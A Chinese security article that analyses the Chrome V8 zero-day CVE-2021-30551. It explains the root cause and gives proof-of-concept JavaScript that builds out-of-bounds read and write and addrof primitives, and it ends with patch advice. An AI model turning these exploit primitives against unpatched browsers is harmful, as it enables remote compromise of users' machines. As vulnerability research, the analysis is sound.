freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Chrome 在野0day:CVE-2021-30551的分析与利用
2021-08-05 12:05:33

一、漏洞背景:

近日谷歌公开了四个在野0day,其中CVE-2021-30551是一个v8类型混淆的漏洞,对市面上一些内置浏览器均有影响,下面无恒实验室将根据p0公开的内容对漏洞的利用做一个简单的分享:

二、Root case

前面的一些内容p0的文章中(https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html)已经讲过了,这里简单提一下:

漏洞的过程和之前沙箱漏洞中的一种模式思路类似(resolve重入用户js)可以类比去理解。

HTMLEmbedElement是少数具有属性拦截器的 DOM 类之一,每次用户尝试访问Embed的 JS 包装器的属性时将会运行特殊的方法,这个方法可以由用户自定义,也就相当于可以在v8执行过程中重入到用户js层--去执行用户定义的代码。

当对一个对象的命名属性进行操作时,如果该对象没有该属性时,将会去调用SetPropertyInternal函数遍历该对象的原型链

C++

Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
                                        Handle<Object> value,
                                        Maybe<ShouldThrow> should_throw,
                                        StoreOrigin store_origin, bool* found) {
[...]
  do {
    switch (it->state()) {
[...]
      case LookupIterator::INTERCEPTOR: {
        if (it->HolderIsReceiverOrHiddenPrototype()) {
          Maybe<bool> result =
              JSObject::SetPropertyWithInterceptor(it, should_throw, value);
          if (result.IsNothing() || result.FromJust()) return result;
        } else {
          Maybe<PropertyAttributes> maybe_attributes =
              JSObject::GetPropertyAttributesWithInterceptor(it);
          if (maybe_attributes.IsNothing()) return Nothing<bool>();
          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
            return WriteToReadOnlyProperty(it, value, should_throw);
          }
          if (maybe_attributes.FromJust() == ABSENT) break;
          *found = false;
          return Nothing<bool>();
        }
        break;
      }
[...]
  *found = false;
  return Nothing<bool>();
}

如果在原型链中遍历到INTERCEPTOR(拦截器),将会去执行拦截器以确定是否应该抛出“只读属性”异常,此时将会调用用户定义好的js代码,接下来SetPropertyInternal将会报告该属性不存在,接着交由SetProperty去调用AddDataProperty来创建属性。

C++

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
                                StoreOrigin store_origin,
                                Maybe<ShouldThrow> should_throw) {
  if (it->IsFound()) {
    bool found = true;
    Maybe<bool> result =
        SetPropertyInternal(it, value, should_throw, store_origin, &found);
    if (found) return result;
  }
  [...]
  return AddDataProperty(it, value, NONE, should_throw, store_origin);
}

先大致描述一下漏洞的产生:

当用户访问一个object的命名属性时,如果该obj没有该属性,就会进入上面的遍历原型链的过程,此时如果在拦截器中创建该属性,并将该obj的map更改为deprecated状态,之后在SetPropertyInternal遍历结束后去创建属性时就会创建一个同名的第二个属性,如果此时的map为deprecated状态,此时将只会更新属性的值而不会去修改map中的描述符(map中保存了一个描述符数组,里面储存了命名属性的相关信息)。从而导致类型混淆。

在根据poc来分析之前先做个小实验:

JavaScript

global_object = {};
const array = [1.1, 2.2, 3.3];
const object_1 = {
    __proto__: global_object
};
object_1.regular_prop = 1;  //------------------------------->map1

%DebugPrint(object_1);
%DebugPrint(object_1.regular_prop);
%SystemBreak();

Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = array;  //--------------------------->map2(map1 is deprecated)

%DebugPrint(object_1);
%SystemBreak();

const object_2 = {
    __proto__: global_object
};
object_2.regular_prop = 1; //---------------------------------->map1

%DebugPrint(object_2);
%SystemBreak();

Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = array;//------------------------------>map2

%DebugPrint(object_2);
%SystemBreak();

object_1.regular_prop = 1.1;//----------------------------------->map3(map2 is deprecated)

%DebugPrint(object_1);
%DebugPrint(object_2);

根据debug信息可以得到注释中的结论,之后根据该代码去实现在拦截器中将object的map设置为deprecated。

2.1 poc

JavaScript

global_object = {};
 
setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;//遍历到拦截器后调用的js代码
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed); //将embed(拦截器)设置到原型链中 
  document.body.appendChild(embed);
  object.corrupted_prop = value;//通过访问obj中不存在的命名属性触发SetPropertyInternal
  embed.remove();
}

createCorruptedPair = (value_1, value_2) => {//object1主要用于将object2的map设置为deprecated
  const object_1 = {
    __proto__: global_object
  };
  object_1.regular_prop = 1;

  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_1.corrupted_prop = value_1;
  });

  const object_2 = {
    __proto__: global_object
  };
  object_2.regular_prop = 1;

  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
    object_1.regular_prop = 1.1//设置map为deprecated
  });
  return [object_1, object_2];
}

主要的地方已经以注释的形式写在了poc中,下面是实现混淆的代码:

JavaScript

const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, target); //root case

jit = (object) => {
  return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
  jit(object_1);
var leak = jit(object_2);

console.log('0x' + hex(d2u(leak)[0]));

漏洞主要发生在注释的地方,这里对poc做一个拆解便于理解:

JavaScript

object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value;  <-----调用Object::SetPropertyInternal开始遍历

由于已经设置了global_object为embed,遍历的过程中将会执行:

C++

        {
          Maybe<PropertyAttributes> maybe_attributes =
              JSObject::GetPropertyAttributesWithInterceptor(it);
          if (maybe_attributes.IsNothing()) return Nothing<bool>();
          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
            return WriteToReadOnlyProperty(it, value, should_throw);
          }
          if (maybe_attributes.FromJust() == ABSENT) break;
          *found = false;
          return Nothing<bool>();
        }
//他为了判断是否需要抛出只读异常(WriteToReadOnlyProperty(it, value, should_throw);)将会去执行已经定义的拦截器代码

拦截器函数:

JavaScript

() => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
    object_1.regular_prop = 1.1//设置map为deprecated
  }

在执行完上面的代码后,Object::SetPropertyInternal是不会根据已设定的拦截函数去判断是否创建该属性的,他只会返回一个false的found。

C++

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
                                StoreOrigin store_origin,
                                Maybe<ShouldThrow> should_throw) {
  if (it->IsFound()) {
    bool found = true;
    Maybe<bool> result =
        SetPropertyInternal(it, value, should_throw, store_origin, &found);
    if (found) return result;
  }
  [...]
  return AddDataProperty(it, value, NONE, should_throw, store_origin);
}

于是这里会接着调用Object::SetProperty去第二次创建该属性。
接下来通过比较object1和object2的创建过程,来体会一下deprecated的作用,这里简单调试一下:
object_1:
object:
image

map:

image
descriptorarray:

image
这里简单对他的结构做了一个标注,可以看到在descriptorarray是存在两个相同key(同名)的属性的,分别对应了field 1 和 field 2,这个对照第一个图也可以看到在in-object property中储存了value1(0x083305a9)和value2(0x08330649),相当于object_1具有了两个同名属性。

接下来是object_2:

image

image

可以看到它的map和obejct_1相同,但是不同于object_1,由于deprecated操作object_2并没有创建出两个同名属性,SetProperty只是将它的corrupted_prop属性由value1(0x083305a9)修改为了value2(0x08330649),由于此时的descriptorarray仍是之前的描述符,这就导致%DebugPrint(object_2.corrupted_prop);会错误的将field 2的值作为属性输出就会得到下面的结果:

image
最重要的是field 1处的值已经由value1修改为了value2,但是描述符并没有发生改变,这也是这个漏洞最关键的地方。

三、利用部分

利用开始前的题外话:

因为这个漏洞他需要使用到html的对象embed,所以是不能直接在d8上调试的,我的方法是在chrome上调试的同时拉一个debug版的d8来方便去查看内存布局,这样对照起来会方便一些。

可以使用下面的命令:

Shell

file ./chrome

set args --headless --disable-gpu --user-data-dir=./userdata --remote-debugging-port=1338 --no-sandbox --js-flags="--allow-natives-syntax --trace-turbo" http://127.0.0.1:8000/poc.html

set follow-fork-mode parent

之后在attach到render进程就可以调试v8了。

3.1越界读

接下来的重点就是如何使用描述符来消除掉checkmaps,最终实现类型混淆:
在load-elimination阶段将会进行冗余消除,v8将会去消除一些多余的检查:

C++

Reduction LoadElimination::ReduceCheckMaps(Node* node) {
  ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
  Node* const object = NodeProperties::GetValueInput(node, 0);
  Node* const effect = NodeProperties::GetEffectInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  ZoneHandleSet<Map> object_maps;
  if (state->LookupMaps(object, &object_maps)) {
    if (maps.contains(object_maps)) return Replace(effect);
    // TODO(turbofan): Compute the intersection.
  }
  state = state->SetMaps(object, maps, zone());
  return UpdateState(node, state);
}

image

image

可以看到由于上面提到的错误的映射,maps.contains(object_maps)将会返回true从而将checkmaps消除掉,这样就可以实现越界读了。
这里有需要注意的地方:
混淆的对象不能随意选择,比如const [object_1, object_2] = createCorruptedPair(array, 111.223);此时他会将111.223当作数组去使用:

image

image

可以看到它会根据偏移去取elements中的内容,对于111.223来说他的对应偏移处的值为0x3ff19999(由于指针压缩,这里会将0x3ff19999+$r13的值作为elements指针进行访问,可以看到此时触发了0地址解引用)。
如果修改为:

JavaScript

const buf12 = new ArrayBuffer(8);
const flo = new Float64Array(buf12);
const [object_1, object_2] = createCorruptedPair(array, flo);

jit = (object) => {
  return object.corrupted_prop[2];
}

for (var i = 0; i < 100000; ++i)
  jit(object_1);
var leak = jit(object_2);

console.log('0x' + hex(d2u(leak)[1]));

此时就会根据Float64Array的elements来进行越界读,下面是一个简单的例子:
image

3.2越界写

初尝试:

首先要实现越界写最关键的还是要将checkmaps检查消除,这里我找到了一种办法:

JavaScript

const array = [1.1,2.2,3.3];
array.prop = 1;

const num = 1.1;
num.prop = 1;

jit = (object) => {
  object.corrupted_prop[2] = num;
  return object.corrupted_prop[2];
}

image

就是给array设置一个属性,之后在创建一个具有相同属性的num,这样进行写入时就会消除掉checkmaps。
这里有几个点要注意:

直接赋值object.corrupted_prop[2] = 1.1;是不会消除checkmaps的。

越界写的长度是array的长度,但写的基地址为Float64Array的elemets,算是一个比较特殊的越界写!!!很重要 !!!

最后就是越界写的过程中,是将数组中的每一个值都当作object来写的

imageimage

这里就会有一个问题,elements里面存放的值都是指针压缩后的地址,当作object去写入的话肯定是不行的,看rdi的值也可以发现,他直接取了0xf500000000080425为地址。

而且就算是在32位没有指针压缩的情况下进行越界写,它还是会取8字节的值作为object来进行写入:

image

如图所示,所以就需要找一种越界时可以直接写double的方法,这里我尝试了几乎所有的object后找到了一个可以使用的目标BigUint64Array。

3.3Why BigUint64Array?

这里选择它的理由主要有以下几点:

它可以直接写入double,而不会像其他object混淆后当作object去写入

BigUint64Array的elements非常特殊,它分配的地址可以和array相邻(可以调试一些其他的typearray,很明显可以发现他们的elements分配的区域和array是相距很远的而且偏移不固定)

image

图中圈红的位置为elements,可以看到BigUint64array的elements可以和array相邻,对于这个漏洞来说就十分方便了。

3.4最终的越界写思路:

最后需要修改array的length,但目前写入都是以double的形式进行的,所以需要先泄漏出length旁边的elements的地址,之后再进行拼接写入,避免破坏正常的object结构,修改elements的length也是同理:

JavaScript

global_object = {};

setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed);
  document.body.appendChild(embed);
  object.corrupted_prop = value;
  embed.remove();
}

createCorruptedPair = (value_1, value_2) => {
  const object_1 = {
    __proto__: global_object
  };
  object_1.regular_prop = 1;

  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_1.corrupted_prop = value_1;
  });

  const object_2 = {
    __proto__: global_object
  };
  object_2.regular_prop = 1;

  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });
  return [object_1, object_2];
}


const array = [5.5,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1]; 
array.prop = 1;


const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];

obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);

const [object_1, object_2] = createCorruptedPair(array, test);

jit = (object,index) => {
  return [object.corrupted_prop[index],object.corrupted_prop[index-5]];
}

%PrepareFunctionForOptimization(jit)
jit(object_1,0);
%OptimizeFunctionOnNextCall(jit);

var leak = jit(object_2,0xd);

elem = d2u(leak[0])[0];
elem2 = d2u(leak[1])[0];
const num = u2d(elem,0x4242);
num.prop = 1;
const num2 = u2d(elem2,0x4242);
num2.prop = 1;

num对应oob_array的length,num2对应elements的length,之后只需要将他们越界写入oob_array即可。

JavaScript

proto2 = {};

setPropertyViaEmbed2 = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(proto2, embed);
  document.body.appendChild(embed);
  object.corrupted2 = value;
  embed.remove();
}

createCorruptedPair2 = (value_1, value_2) => {
  const object_3 = {
    __proto__: proto2
  };
  object_3.regular2 = 1;

  setPropertyViaEmbed2(object_3, value_2, () => {
    Object.setPrototypeOf(proto2, null);
    object_3.corrupted2 = value_1;
  });

  const object_4 = {
    __proto__: proto2
  };
  object_4.regular2 = 1;

  setPropertyViaEmbed2(object_4, value_2, () => {
    Object.setPrototypeOf(proto2, null);
    object_4.corrupted2 = value_1;
    object_3.regular2 = 1.1
  });
  return [object_3, object_4];
}

const [object_3, object_4] = createCorruptedPair2(array, test);
//%DebugPrint(object_4.corrupted2);

jit22 = (object,index) => {
  object.corrupted2[index] = num; //length
  object.corrupted2[index-5] = num2; //elements的length
  return object.corrupted2[index];
}

%PrepareFunctionForOptimization(jit22)
jit22(object_3,0);
%OptimizeFunctionOnNextCall(jit22);

//%DebugPrint(test);
var leak2 = jit22(object_4,0xd);
//%DebugPrint(leak2);

array的长度决定越界的范围,忘记的同学可以再回头看一下。

不能只修改oob_array的length,还需要将elements中的length一并修改。

接下来只要提前构造好下面的结构:

JavaScript

const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];

obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);

利用test去越界修改oob_array的length和elements的length,这样就可以使用oob_array去进行漏洞利用了。

如果是32位的利用的话涉及到一个高低位的问题,这里需要注意一下:
简单举一个例子:

JavaScript

var object_idx = undefined;
var object_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] == 0xa72) {
           print("m: i: " + i + " lo 0");
           print("target: i: " + i + " hi 1");
           object_idx = i;
           object_idx_flag = 1;
           break;
     }
     if (d2u(oob_array[i])[1] == 0xa72) {
            print("m: i: " + i + " hi 1");
            print("target: i: " + (i + 1) + " lo 0");
            object_idx = i + 1;
            object_idx_flag = 0;
            break;
      }
}

function addrof(obj_para) {
      obj_array.target = obj_para;
      return d2u(oob_array[object_idx])[object_idx_flag] - 1;
}

最后由于一些众所周知的原因,详细的exp就没办法在这里放出了,相信看到这里熟悉v8利用的小伙伴们就已经知道后面该怎么做了,有了越界读写之后就是一些常规的做法了。

最终放一个效果图:

复现

四、漏洞修复建议

目前谷歌官方针对该0day已经给出了官方补丁,受影响的可以尽快进行补丁修复,该补丁在遇到拦截器后使 SetPropertyInternal 调用 SetSuperProperty。如果在原型链中找不到该属性,SetSuperProperty 将在“own”模式下重新启动查找,这允许它捕获拦截器对接收器所做的任何更改。

image

# 漏洞分析 # 0Day漏洞 # 谷歌浏览器 # 漏洞复现 # 0day漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录